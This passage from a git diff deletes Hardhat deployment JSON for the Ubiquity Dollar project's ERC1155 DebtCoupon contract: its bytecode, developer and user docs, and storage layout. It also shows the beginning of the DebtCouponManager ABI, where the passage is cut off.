81526001600160a01b0385169063f23a6e619061161a9089908990889088908890600401611e37565b602060405180830381600087803b15801561163457600080fd5b505af1925050508015611664575060408051601f3d908101601f1916820190925261166191810190611d20565b60015b611670576111b0611fd0565b6001600160e01b0319811663f23a6e6160e01b1461107e5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b60648201526084016102be565b600061033c8260016117f3565b6000611576838360016117dc565b600081158061171257506117108383611810565b155b1561171f575060006102ea565b600082815260018481016020818152604080852085805280835281862080548688528388208054808a52878752858a208a80528752858a20839055918952958552838820878952855292872092909255909152839055829055845490918591611789908490611f0a565b90915550919392505050565b6000806117a28585611810565b6117b1575060009050806117d4565b505060008281526001848101602090815260408084208515158552909152909120545b935093915050565b60006117eb8460008585611894565b949350505050565b60008061180284600085611795565b91506117eb905084826116fc565b6000818152600183016020908152604080832083805290915281205415801561185357506000828152600180850160209081526040808420928452919052902054155b1561188c576000808052600180850160209081526040808420928452919052902054821415611884575060016102ea565b5060006102ea565b5060016102ea565b60006118a08584611810565b1580156118b257506118b28585611810565b156119345760008481526001868101602081815260408085208715801580885291845282872080548b8952868652848920838a52808752858a208e9055918c90558089529585528388209188529084528287208a90559086529091528320819055875490928891611924908490611ef2565b90915550600192506117eb915050565b506000949350505050565b80356001600160a01b038116811461033f57600080fd5b600082601f830112611966578081fd5b8135602061197382611ece565b6040516119808282611f5c565b8381528281019150858301600585901b8701840188101561199f578586fd5b855b858110156119bd578135845292840192908401906001016119a1565b5090979650505050505050565b600082601f8301126119da578081fd5b813567ffffffffffffffff8111156119f4576119f4611fba565b604051611a0b601f8301601f191660200182611f5c565b818152846020838601011115611a1f578283fd5b816020850160208301379081016020019190915292915050565b60008060408385031215611a4b578182fd5b611a548361193f565b9150611a626020840161193f565b90509250929050565b600080600080600060a08688031215611a82578081fd5b611a8b8661193f565b9450611a996020870161193f565b9350604086013567ffffffffffffffff80821115611ab5578283fd5b611ac189838a01611956565b94506060880135915080821115611ad6578283fd5b611ae289838a01611956565b93506080880135915080821115611af7578283fd5b50611b04888289016119ca565b9150509295509295909350565b600080600080600060a08688031215611b28578081fd5b611b318661193f565b9450611b3f6020870161193f565b93506040860135925060608601359150608086013567ffffffffffffffff811115611b68578182fd5b611b04888289016119ca565b60008060408385031215611b86578182fd5b611b8f8361193f565b91506020830135611b9f81612079565b809150509250929050565b60008060408385031215611bbc578182fd5b611bc58361193f565b946020939093013593505050565b600080600060608486031215611be7578283fd5b611bf08461193f565b95602085013595506040909401359392505050565b60008060408385031215611c17578182fd5b823567ffffffffffffffff80821115611c2e578384fd5b818501915085601f830112611c41578384fd5b81356020611c4e82611ece565b604051611c5b8282611f5c565b8381528281019150858301600585901b870184018b1015611c7a578889fd5b8896505b84871015611ca357611c8f8161193f565b835260019690960195918301918301611c7e565b5096505086013592505080821115611cb9578283fd5b50611cc685828601611956565b9150509250929050565b600060208284031215611ce1578081fd5b815161157681612079565b600060208284031215611cfd578081fd5b5051919050565b600060208284031215611d15578081fd5b81356115768161208a565b600060208284031215611d31578081fd5b81516115768161208a565b600060208284031215611d4d578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611d8357815187529582019590820190600101611d67565b509495945050505050565b60008151808452815b81811015611db357602081850181015186830182015201611d97565b81811115611dc45782602083870101525b50601f01601f19169290920160200192915050565b60006001600160a01b03808816835280871660208401525060a06040830152611e0560a0830186611d54565b8281036060840152611e178186611d54565b90508281036080840152611e2b8185611d8e565b98975050505050505050565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a06080830152611e6f60a0830184611d8e565b979650505050505050565b6000602082526115766020830184611d54565b600060408252611ea06040830185611d54565b8281036020840152611eb28185611d54565b95945050505050565b6000602082526115766020830184611d8e565b600067ffffffffffffffff821115611ee857611ee8611fba565b5060051b60200190565b60008219821115611f0557611f05611fa4565b500190565b600082821015611f1c57611f1c611fa4565b500390565b600181811c90821680611f3557607f821691505b60208210811415611f5657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715611f8257611f82611fba565b6040525050565b6000600019821415611f9d57611f9d611fa4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d1115610c5157600481823e5160e01c90565b600060443d1015611ff757610c51565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612029575050505050610c51565b828501915081518181111561204357505050505050610c51565b843d870101602082850101111561205f57505050505050610c51565b61206e60208286010187611f5c565b509094505050505090565b801515811461208757600080fd5b50565b6001600160e01b03198116811461208757600080fdfea164736f6c6343000803000a", - "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100de5760003560e01c8063738f0cf11161008c578063e71fc58f11610066578063e71fc58f146101da578063e985e9c5146101ed578063f242432a14610229578063f7ffe84a1461023c576100de565b8063738f0cf1146101ac578063a22cb465146101bf578063db87b1ff146101d2576100de565b80632eb2c2d6116100bd5780632eb2c2d61461014c578063481c6a75146101615780634e1273f41461018c576100de565b8062fdd58e146100e357806301ffc9a7146101095780630e89341c1461012c575b600080fd5b6100f66100f1366004611baa565b610244565b6040519081526020015b60405180910390f35b61011c610117366004611d04565b6102f0565b6040519015158152602001610100565b61013f61013a366004611d3c565b610344565b6040516101009190611ebb565b61015f61015a366004611a6b565b6103d8565b005b600354610174906001600160a01b031681565b6040516001600160a01b039091168152602001610100565b61019f61019a366004611c05565b610740565b6040516101009190611e7a565b61015f6101ba366004611bd3565b6108b6565b61015f6101cd366004611b74565b610ae9565b6100f6610be1565b61015f6101e8366004611bd3565b610c54565b61011c6101fb366004611a39565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205460ff1690565b61015f610237366004611b11565b610e42565b61015f611087565b60006001600160a01b0383166102c75760405162461bcd60e51b815260206004820152602b60248201527f455243313135353a2062616c616e636520717565727920666f7220746865207a60448201527f65726f206164647265737300000000000000000000000000000000000000000060648201526084015b60405180910390fd5b506000818152602081815260408083206001600160a01b03861684529091529020545b92915050565b60006001600160e01b03198216636cdb3d1360e11b148061032157506001600160e01b031982166303a24d0760e21b145b8061033c57506301ffc9a760e01b6001600160e01b03198316145b90505b919050565b60606002805461035390611f21565b80601f016020809104026020016040519081016040528092919081815260200182805461037f90611f21565b80156103cc5780601f106103a1576101008083540402835291602001916103cc565b820191906000526020600020905b8154815290600101906020018083116103af57829003601f168201915b50505050509050919050565b815183511461044f5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a2069647320616e6420616d6f756e7473206c656e6774682060448201527f6d69736d6174636800000000000000000000000000000000000000000000000060648201526084016102be565b6001600160a01b0384166104b35760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016102be565b6001600160a01b0385163314806104cf57506104cf85336101fb565b6105415760405162461bcd60e51b815260206004820152603260248201527f455243313135353a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f766564000000000000000000000000000060648201526084016102be565b3360005b84518110156106d257600085828151811061057057634e487b7160e01b600052603260045260246000fd5b60200260200101519050600085838151811061059c57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815280835260408082206001600160a01b038e16835290935291909120549091508181101561062f5760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b60648201526084016102be565b6106398282611f0a565b60008085815260200190815260200160002060008c6001600160a01b03166001600160a01b03168152602001908152602001600020819055508160008085815260200190815260200160002060008b6001600160a01b03166001600160a01b0316815260200190815260200160002060008282546106b79190611ef2565b92505081905550505050806106cb90611f89565b9050610545565b50846001600160a01b0316866001600160a01b0316826001600160a01b03167f4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb8787604051610722929190611e8d565b60405180910390a4610738818787878787611116565b505050505050565b606081518351146107b95760405162461bcd60e51b815260206004820152602960248201527f455243313135353a206163636f756e747320616e6420696473206c656e67746860448201527f206d69736d61746368000000000000000000000000000000000000000000000060648201526084016102be565b6000835167ffffffffffffffff8111156107e357634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561080c578160200160208202803683370190505b50905060005b84518110156108ae5761087385828151811061083e57634e487b7160e01b600052603260045260246000fd5b602002602001015185838151811061086657634e487b7160e01b600052603260045260246000fd5b6020026020010151610244565b82828151811061089357634e487b7160e01b600052603260045260246000fd5b60209081029190910101526108a781611f89565b9050610812565b509392505050565b6003546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b15801561090357600080fd5b505afa158015610917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093b9190611cec565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561097857600080fd5b505afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611cd0565b6109fc5760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e61676572000060448201526064016102be565b81610a078483610244565b1015610a555760405162461bcd60e51b815260206004820152601f60248201527f436f75706f6e206f776e6572206e6f7420656e6f75676820636f75706f6e730060448201526064016102be565b610a608382846112cb565b604080516001600160a01b0385168152602081018390529081018390527ffe9cd66a03bb9bae13904547cf3265727d3fb385e165cfca832f24f62fad083d9060600160405180910390a1600081815260056020526040902054610ac4908390611f0a565b600082815260056020526040902055600454610ae1908390611f0a565b600455505050565b336001600160a01b0383161415610b685760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2073657474696e6720617070726f76616c2073746174757360448201527f20666f722073656c66000000000000000000000000000000000000000000000060648201526084016102be565b3360008181526001602090815260408083206001600160a01b0387168085529252909120805460ff1916841515179055906001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610bd5911515815260200190565b60405180910390a35050565b6004546000908180610bf460068261144d565b9150505b81158015610c0557508015155b15610c4b5743811115610c1b5760019150610c37565b600081815260056020526040902054610c349084611f0a565b92505b610c4260068261144d565b9150610bf89050565b50909150505b90565b6003546040805163520eeb7360e11b815290516001600160a01b03909216916391d1485491839163a41dd6e691600480820192602092909190829003018186803b158015610ca157600080fd5b505afa158015610cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd99190611cec565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015610d1657600080fd5b505afa158015610d2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4e9190611cd0565b610d9a5760405162461bcd60e51b815260206004820152601e60248201527f43616c6c6572206973206e6f74206120636f75706f6e206d616e61676572000060448201526064016102be565b610db583828460405180602001604052806000815250611467565b604080516001600160a01b0385168152602081018390529081018390527fee6a2b6b9d52e9b905b3b53a76ff201a4762f6d3c40a5a976a7bfbb7cce2499f9060600160405180910390a1610e0a600682611568565b50600081815260056020526040902054610e25908390611ef2565b600082815260056020526040902055600454610ae1908390611ef2565b6001600160a01b038416610ea65760405162461bcd60e51b815260206004820152602560248201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016102be565b6001600160a01b038516331480610ec25750610ec285336101fb565b610f345760405162461bcd60e51b815260206004820152602960248201527f455243313135353a2063616c6c6572206973206e6f74206f776e6572206e6f7260448201527f20617070726f766564000000000000000000000000000000000000000000000060648201526084016102be565b33610f54818787610f448861157d565b610f4d8861157d565b5050505050565b6000848152602081815260408083206001600160a01b038a16845290915290205483811015610fd85760405162461bcd60e51b815260206004820152602a60248201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60448201526939103a3930b739b332b960b11b60648201526084016102be565b610fe28482611f0a565b6000868152602081815260408083206001600160a01b038c8116855292528083209390935588168152908120805486929061101e908490611ef2565b909155505060408051868152602081018690526001600160a01b03808916928a821692918616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a461107e8288888888886115d6565b50505050505050565b60008061109460066116e1565b90505b811580156110a457508015155b1561111257438111156110c6576110bc6006826116ee565b5060019150611101565b6000818152600560205260409020546004546110e29190611f0a565b6004556000818152600560205260408120556110ff6006826116fc565b505b61110b60066116e1565b9050611097565b5050565b6001600160a01b0384163b156107385760405163bc197c8160e01b81526001600160a01b0385169063bc197c819061115a9089908990889088908890600401611dd9565b602060405180830381600087803b15801561117457600080fd5b505af19250505080156111a4575060408051601f3d908101601f191682019092526111a191810190611d20565b60015b61125a576111b0611fd0565b806308c379a014156111ea57506111c5611fe7565b806111d057506111ec565b8060405162461bcd60e51b81526004016102be9190611ebb565b505b60405162461bcd60e51b815260206004820152603460248201527f455243313135353a207472616e7366657220746f206e6f6e204552433131353560448201527f526563656976657220696d706c656d656e74657200000000000000000000000060648201526084016102be565b6001600160e01b0319811663bc197c8160e01b1461107e5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b60648201526084016102be565b6001600160a01b03831661132d5760405162461bcd60e51b815260206004820152602360248201527f455243313135353a206275726e2066726f6d20746865207a65726f206164647260448201526265737360e81b60648201526084016102be565b3361135d8185600061133e8761157d565b6113478761157d565b5050604080516020810190915260009052505050565b6000838152602081815260408083206001600160a01b0388168452909152902054828110156113da5760405162461bcd60e51b8152602060048201526024808201527f455243313135353a206275726e20616d6f756e7420657863656564732062616c604482015263616e636560e01b60648201526084016102be565b6113e48382611f0a565b6000858152602081815260408083206001600160a01b038a811680865291845282852095909555815189815292830188905292938616917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a45050505050565b60008061145c84846001611795565b915091509250929050565b6001600160a01b0384166114c75760405162461bcd60e51b815260206004820152602160248201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016102be565b336114d881600087610f448861157d565b6000848152602081815260408083206001600160a01b038916845290915281208054859290611508908490611ef2565b909155505060408051858152602081018590526001600160a01b0380881692600092918516917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4610f4d816000878787876115d6565b6000611576838360006117dc565b9392505050565b604080516001808252818301909252606091600091906020808301908036833701905050905082816000815181106115c557634e487b7160e01b600052603260045260246000fd5b602090810291909101015292915050565b6001600160a01b0384163b156107385760405163f23a6e6160e01b81526001600160a01b0385169063f23a6e619061161a9089908990889088908890600401611e37565b602060405180830381600087803b15801561163457600080fd5b505af1925050508015611664575060408051601f3d908101601f1916820190925261166191810190611d20565b60015b611670576111b0611fd0565b6001600160e01b0319811663f23a6e6160e01b1461107e5760405162461bcd60e51b815260206004820152602860248201527f455243313135353a204552433131353552656365697665722072656a656374656044820152676420746f6b656e7360c01b60648201526084016102be565b600061033c8260016117f3565b6000611576838360016117dc565b600081158061171257506117108383611810565b155b1561171f575060006102ea565b600082815260018481016020818152604080852085805280835281862080548688528388208054808a52878752858a208a80528752858a20839055918952958552838820878952855292872092909255909152839055829055845490918591611789908490611f0a565b90915550919392505050565b6000806117a28585611810565b6117b1575060009050806117d4565b505060008281526001848101602090815260408084208515158552909152909120545b935093915050565b60006117eb8460008585611894565b949350505050565b60008061180284600085611795565b91506117eb905084826116fc565b6000818152600183016020908152604080832083805290915281205415801561185357506000828152600180850160209081526040808420928452919052902054155b1561188c576000808052600180850160209081526040808420928452919052902054821415611884575060016102ea565b5060006102ea565b5060016102ea565b60006118a08584611810565b1580156118b257506118b28585611810565b156119345760008481526001868101602081815260408085208715801580885291845282872080548b8952868652848920838a52808752858a208e9055918c90558089529585528388209188529084528287208a90559086529091528320819055875490928891611924908490611ef2565b90915550600192506117eb915050565b506000949350505050565b80356001600160a01b038116811461033f57600080fd5b600082601f830112611966578081fd5b8135602061197382611ece565b6040516119808282611f5c565b8381528281019150858301600585901b8701840188101561199f578586fd5b855b858110156119bd578135845292840192908401906001016119a1565b5090979650505050505050565b600082601f8301126119da578081fd5b813567ffffffffffffffff8111156119f4576119f4611fba565b604051611a0b601f8301601f191660200182611f5c565b818152846020838601011115611a1f578283fd5b816020850160208301379081016020019190915292915050565b60008060408385031215611a4b578182fd5b611a548361193f565b9150611a626020840161193f565b90509250929050565b600080600080600060a08688031215611a82578081fd5b611a8b8661193f565b9450611a996020870161193f565b9350604086013567ffffffffffffffff80821115611ab5578283fd5b611ac189838a01611956565b94506060880135915080821115611ad6578283fd5b611ae289838a01611956565b93506080880135915080821115611af7578283fd5b50611b04888289016119ca565b9150509295509295909350565b600080600080600060a08688031215611b28578081fd5b611b318661193f565b9450611b3f6020870161193f565b93506040860135925060608601359150608086013567ffffffffffffffff811115611b68578182fd5b611b04888289016119ca565b60008060408385031215611b86578182fd5b611b8f8361193f565b91506020830135611b9f81612079565b809150509250929050565b60008060408385031215611bbc578182fd5b611bc58361193f565b946020939093013593505050565b600080600060608486031215611be7578283fd5b611bf08461193f565b95602085013595506040909401359392505050565b60008060408385031215611c17578182fd5b823567ffffffffffffffff80821115611c2e578384fd5b818501915085601f830112611c41578384fd5b81356020611c4e82611ece565b604051611c5b8282611f5c565b8381528281019150858301600585901b870184018b1015611c7a578889fd5b8896505b84871015611ca357611c8f8161193f565b835260019690960195918301918301611c7e565b5096505086013592505080821115611cb9578283fd5b50611cc685828601611956565b9150509250929050565b600060208284031215611ce1578081fd5b815161157681612079565b600060208284031215611cfd578081fd5b5051919050565b600060208284031215611d15578081fd5b81356115768161208a565b600060208284031215611d31578081fd5b81516115768161208a565b600060208284031215611d4d578081fd5b5035919050565b6000815180845260208085019450808401835b83811015611d8357815187529582019590820190600101611d67565b509495945050505050565b60008151808452815b81811015611db357602081850181015186830182015201611d97565b81811115611dc45782602083870101525b50601f01601f19169290920160200192915050565b60006001600160a01b03808816835280871660208401525060a06040830152611e0560a0830186611d54565b8281036060840152611e178186611d54565b90508281036080840152611e2b8185611d8e565b98975050505050505050565b60006001600160a01b03808816835280871660208401525084604083015283606083015260a06080830152611e6f60a0830184611d8e565b979650505050505050565b6000602082526115766020830184611d54565b600060408252611ea06040830185611d54565b8281036020840152611eb28185611d54565b95945050505050565b6000602082526115766020830184611d8e565b600067ffffffffffffffff821115611ee857611ee8611fba565b5060051b60200190565b60008219821115611f0557611f05611fa4565b500190565b600082821015611f1c57611f1c611fa4565b500390565b600181811c90821680611f3557607f821691505b60208210811415611f5657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8201601f1916810167ffffffffffffffff81118282101715611f8257611f82611fba565b6040525050565b6000600019821415611f9d57611f9d611fa4565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b600060033d1115610c5157600481823e5160e01c90565b600060443d1015611ff757610c51565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715612029575050505050610c51565b828501915081518181111561204357505050505050610c51565b843d870101602082850101111561205f57505050505050610c51565b61206e60208286010187611f5c565b509094505050505090565b801515811461208757600080fd5b50565b6001600160e01b03198116811461208757600080fdfea164736f6c6343000803000a", - "devdoc": { - "details": "Implements ERC1155 so receiving contracts must implement IERC1155Receiver", - "kind": "dev", - "methods": { - "balanceOf(address,uint256)": { - "details": "See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address." - }, - "balanceOfBatch(address[],uint256[])": { - "details": "See {IERC1155-balanceOfBatch}. Requirements: - `accounts` and `ids` must have the same length." - }, - "burnCoupons(address,uint256,uint256)": { - "params": { - "amount": "amount of tokens to burn", - "couponOwner": "the owner of those coupons", - "expiryBlockNumber": "the expiration block number of the coupons to burn" - } - }, - "isApprovedForAll(address,address)": { - "details": "See {IERC1155-isApprovedForAll}." - }, - "mintCoupons(address,uint256,uint256)": { - "params": { - "amount": "amount of tokens to mint", - "expiryBlockNumber": "the expiration block number of the coupons to mint" - } - }, - "safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)": { - "details": "See {IERC1155-safeBatchTransferFrom}." - }, - "safeTransferFrom(address,address,uint256,uint256,bytes)": { - "details": "See {IERC1155-safeTransferFrom}." - }, - "setApprovalForAll(address,bool)": { - "details": "See {IERC1155-setApprovalForAll}." - }, - "supportsInterface(bytes4)": { - "details": "See {IERC165-supportsInterface}." - }, - "uri(uint256)": { - "details": "See {IERC1155MetadataURI-uri}. This implementation returns the same URI for *all* token types. It relies on the token type ID substitution mechanism https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. Clients calling this function must replace the `\\{id\\}` substring with the actual token type ID." - } - }, - "title": "A coupon redeemable for dollars with an expiry block number", - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "burnCoupons(address,uint256,uint256)": { - "notice": "Burn an amount of coupons expiring at a certain block from a certain holder's balance" - }, - "getTotalOutstandingDebt()": { - "notice": "Returns outstanding debt by fetching current tally and removing any expired debt" - }, - "mintCoupons(address,uint256,uint256)": { - "notice": "Mint an amount of coupons expiring at a certain block for a certain recipient" - }, - "updateTotalDebt()": { - "notice": "Should be called prior to any state changing functions." - } - }, - "notice": "An ERC1155 where the token ID is the expiry block number", - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 485, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "_balances", - "offset": 0, - "slot": "0", - "type": "t_mapping(t_uint256,t_mapping(t_address,t_uint256))" - }, - { - "astId": 491, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "_operatorApprovals", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_address,t_mapping(t_address,t_bool))" - }, - { - "astId": 493, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "_uri", - "offset": 0, - "slot": "2", - "type": "t_string_storage" - }, - { - "astId": 5784, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "manager", - "offset": 0, - "slot": "3", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 5786, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "_totalOutstandingDebt", - "offset": 0, - "slot": "4", - "type": "t_uint256" - }, - { - "astId": 5790, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "_tokenSupplies", - "offset": 0, - "slot": "5", - "type": "t_mapping(t_uint256,t_uint256)" - }, - { - "astId": 5793, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "_sortedBlockNumbers", - "offset": 0, - "slot": "6", - "type": "t_struct(List)18182_storage" - } - ], - "types": { - "t_address": { - "encoding": "inplace", - "label": "address", - "numberOfBytes": "20" - }, - "t_bool": { - "encoding": "inplace", - "label": "bool", - "numberOfBytes": "1" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_address,t_bool)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => bool)", - "numberOfBytes": "32", - "value": "t_bool" - }, - "t_mapping(t_address,t_mapping(t_address,t_bool))": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => mapping(address => bool))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_bool)" - }, - "t_mapping(t_address,t_uint256)": { - "encoding": "mapping", - "key": "t_address", - "label": "mapping(address => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_mapping(t_bool,t_uint256)": { - "encoding": "mapping", - "key": "t_bool", - "label": "mapping(bool => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_mapping(t_uint256,t_mapping(t_address,t_uint256))": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => mapping(address => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_address,t_uint256)" - }, - "t_mapping(t_uint256,t_mapping(t_bool,t_uint256))": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => mapping(bool => uint256))", - "numberOfBytes": "32", - "value": "t_mapping(t_bool,t_uint256)" - }, - "t_mapping(t_uint256,t_uint256)": { - "encoding": "mapping", - "key": "t_uint256", - "label": "mapping(uint256 => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_string_storage": { - "encoding": "bytes", - "label": "string", - "numberOfBytes": "32" - }, - "t_struct(List)18182_storage": { - "encoding": "inplace", - "label": "struct StructuredLinkedList.List", - "members": [ - { - "astId": 18175, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "size", - "offset": 0, - "slot": "0", - "type": "t_uint256" - }, - { - "astId": 18181, - "contract": "contracts/DebtCoupon.sol:DebtCoupon", - "label": "list", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_uint256,t_mapping(t_bool,t_uint256))" - } - ], - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/DebtCouponManager.json b/packages/contracts/dollar/deployments/mainnet/DebtCouponManager.json deleted file mode 100644 index b62941bfb..000000000 --- a/packages/contracts/dollar/deployments/mainnet/DebtCouponManager.json +++ /dev/null @@ -1,617 +0,0 @@ -{ - "address": "0x432120Ad63779897A424f7905BA000dF38A74554", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_couponLengthBlocks", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "newCouponLengthBlocks", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "previousCouponLengthBlocks", - "type": "uint256" - } - ], - "name": "CouponLengthChanged", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "newRate", - "type": "uint256" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "previousRate", - "type": "uint256" - } - ], - "name": "ExpiredCouponConvertionRateChanged", - "type": "event" - }, - { - "inputs": [], - "name": "blockHeightDebt", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnAutoRedeemTokensForDollars", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnCouponsForAutoRedemption", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "id", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnExpiredCouponsForUGOV", - "outputs": [ - { - "internalType": "uint256", - "name": "uGovAmount", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "couponLengthBlocks", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "debtCycle", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "dollarsMintedThisCycle", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "exchangeDollarsForDebtCoupons", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "exchangeDollarsForUAR", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "expiredCouponConvertionRate", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "getCouponsReturnedForDollars", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "getUARReturnedForDollars", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "mintClaimableDollars", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - }, - { - "internalType": "uint256[]", - "name": "", - "type": "uint256[]" - }, - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "name": "onERC1155BatchReceived", - "outputs": [ - { - "internalType": "bytes4", - "name": "", - "type": "bytes4" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "operator", - "type": "address" - }, - { - "internalType": "address", - "name": "", - "type": "address" - }, - { - "internalType": "uint256", - "name": "", - "type": "uint256" - }, - { - "internalType": 